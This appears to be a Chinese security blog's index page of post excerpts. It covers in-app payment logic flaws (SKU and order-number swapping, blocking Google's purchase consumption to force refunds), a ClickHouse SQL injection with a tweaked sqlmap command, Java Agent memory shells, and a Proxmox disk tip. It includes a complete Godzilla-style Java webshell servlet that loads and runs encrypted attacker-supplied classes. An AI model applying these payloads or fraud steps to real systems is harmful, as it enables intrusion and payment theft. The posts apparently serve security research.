0x1. 低价值替换高价值SKU
在IOS平台上面支付完成之后,立刻杀掉进程,然后重新开启APP抓包,此时触发补单操作,拦截包之后,修改sku字段为高价值商品,尝试是否可以成功。
或者在Burp抓支付包的时候,因为apple服务接口验证了证书,可以在burp的TLS Pass Through
配置绕过apple的域名,不对其进行抓包。
0x2. 替换订单号
首先产生一个未支付的高价值的订单号,其次正常购买低价值商品,打断后端返回的response,替换response里面的订单号为高价值订单号,然后尝试支付成功之后商品的数量。一般适用于Google支付。
0x3. 利用Google机制自动退款
Google的SDK支付成功之后,客户端会发起一个接口请求: https://play-fe.googleapis.com/fdfe/consumePurchase
Google Play结算服务官方文档中关于处理购买交易的描述:在三天内未确认购买交易,则用户会自动收到退款,并且Google Play会撤消该购买交易,可以利用此规则进行退款。这种攻击一般针对一次性消耗品,当然重复的也可以。在支付完成之后,拦截上面的请求之后丢弃,如果服务端未做正确处理,则三天之后Google会自动退款。
修复方式:后端手动调用确认接口进行二次确认acknowledge,一般400可以视为已确认,409的时候需要查询一次状态,已确认状态可以放行,否则掉单处理。
测试注意点
Read More
组建的PVE使用的是这个方案: PVE+TrueNAS+ZFS+10G内网方案
虚拟机磁盘选择
使用的时候创建的Windows虚拟机特别慢,打开管理器一看磁盘最高只有5M/S的写入速度,发现是选择的磁盘类型不同,在创建虚拟机的时候最好选择SCSI的磁盘格式
比如在新建Windows虚拟机的时候,一般需要以下步骤:
- 下载VirtIO驱动镜像
- 将镜像文件上传到 PVE 的 ISO镜像中
- 按照常规流程创建虚拟机,不启动
- 在虚拟机的 “硬件” 选项卡内添加 “CD/DVD驱动器”
- 挂载 win10 系统镜像和 VirtIO 驱动镜像 (CD1: win10.iso,CD2: virtio-win.iso)
- 检查虚拟机的 “选项” 选项卡内的 “引导顺序
- 启动虚拟机 > “加载驱动程序” > “浏览” D:\amd64\win10 > “下一步”,安装驱动程序
- 驱动安装后在磁盘列表就会检测到硬盘,继续后续系统安装步骤
但是我现在已经装好了虚拟机,需要把IDE类型的磁盘转换为SCSI:
- 已有的虚拟机插入两个ISO设备,一个是Win10镜像,一个是Virto镜像
- 开机启动进入Win10镜像,然后
SHIFT+F10
调出cmd
- 确定C盘的盘符和Virto的盘符,输入命令
dism /image:C:\ /add-driver /driver:E:\vioscsi\w10\amd64
- 随后关机:
wpeutil shutdown -s
- 在PVE虚拟机界面分离磁盘,把磁盘类型改为SCSI,随后重启即可

改完之后的写入速度在40M/S~50M/S左右
数据的备份和关机顺序
Read More
前期尝试
根据源代码发现可以利用')
拼接闭合SQL语句之后,插入要注入的Payload,比如:1')and sleep(3) and ('1
,可以休眠3S。经过测试发现存在以下限制:
- sleep的时间不能超过3秒,超过之后造成请求查询超时,会立刻返回
- sleep关键词不能使用大写,因为clickhouse函数大小写敏感
- 无法使用sqlmap跑数据,因为sqlmap不支持clickhouse数据库
虽然Sqlmap不支持ClickHouse,但是我还是不死心的跑了一下,可能这就是脚本小子吧
经过我不懈努力,终于让Sqlmap跑出来了可注入点:
./sqlmap.py -r ~/Desktop/sql.txt -v --technique=T --level 3 -v 3 --dbms MySQL --time-sec 3 --prefix "')" --suffix "and ('" --tamper lowercase --proxy http://127.0.0.1:8080

为了让Sqlmap跑出来这个注入点,一言难尽。因为sqlmap里面的SLEEP(5)
是自带的payload,就算是加了--tamper lowercase
也不会改变这个关键payload的大小写,始终是大写。所以我当时有两个选择:
- 写个Burp插件转变成小写–费时费力
- 修改Sqlmap的源代码–这个简单
于是乎,我直接编辑sqlmap目录下的data/xml/payloads/time_blind.xml
,直接把SLEEP
替换为sleep
,然后发现会影响SLEEPTIME
这个变量,再替换一次sleepTime
为SLEEPTIME
。
Read More
学习背景

- Agent本来就在学习的清单上
- 更深入理解下草师傅说的代理模式
- study the world
AOP
AOP为Aspect Oriented Programming的缩写,意为: 面向切面编程,在运行时,动态地将代码切入到类的指定方法、指定位置上的编程思想就是面向切面的编程。
以下引用来自su18和天下大木头师傅的博客:
JDK 1.5 开始,Java新增了Instrumentation(Java Agent API)和JVMTI(JVM Tool Interface)功能,允许JVM在加载某个class文件之前对其字节码进行修改,同时也支持对已加载的class(类字节码)进行重新加载(Retransform)。
开发者可以在一个普通Java程序(带有main函数的Java类)运行时,通过–javaagent
参数指定一个特定的jar文件(包含Instrumentation代理)来启动Instrumentation的代理程序。在类的字节码载入jvm前会调用ClassFileTransformer的transform方法,从而实现修改原类方法的功能,实现AOP。
通过java.lang.instrument实现的工具我们称之为Java Agent,Java Agent能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法,Agent内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。
说白了Java Agent只是一个Java类而已,只不过普通的Java类是以main函数作为入口点的,Java Agent的入口点则是premain和agentmain
Java Agent 支持两种方式进行加载:
Read More
分析背景
起源于Y4er
师傅发的两篇文章:
对其中的原因比较好奇,所以尝试对哥斯拉做了一次原理分析,测试代码在MemoryShellDemo。文章可能有错误的地方,可以在issue留言。
运行原理
从哥斯拉的源代码里面扣出来godzilla\shells\payloads\java\assets\payload.classs
文件,使用https://github.com/leibnitz27/cfr反编译之后,在idea里面新建payload.java
文件,然后修改误报错,这里是反编译好之后的文件。payload.java
实现了大部分的shell操作,比如查看文件、执行命令、数据库连接等等
新建一个HelloServlet.java
,用于动态调试:
package basic;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
resp.getWriter().write(String.valueOf(arrOut));
resp.getWriter().write("\n");
Object f = ((Class) Class.forName("basic.payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
}
}
在哥斯拉主界面,点击测试会在burp发送两次请求,然后哥斯拉会弹框出现Success,这时候再点击确定,哥斯拉会发起第三次请求,先分析这三次请求的数据包以及哥斯拉都做了什么事情。

第一次请求
Read More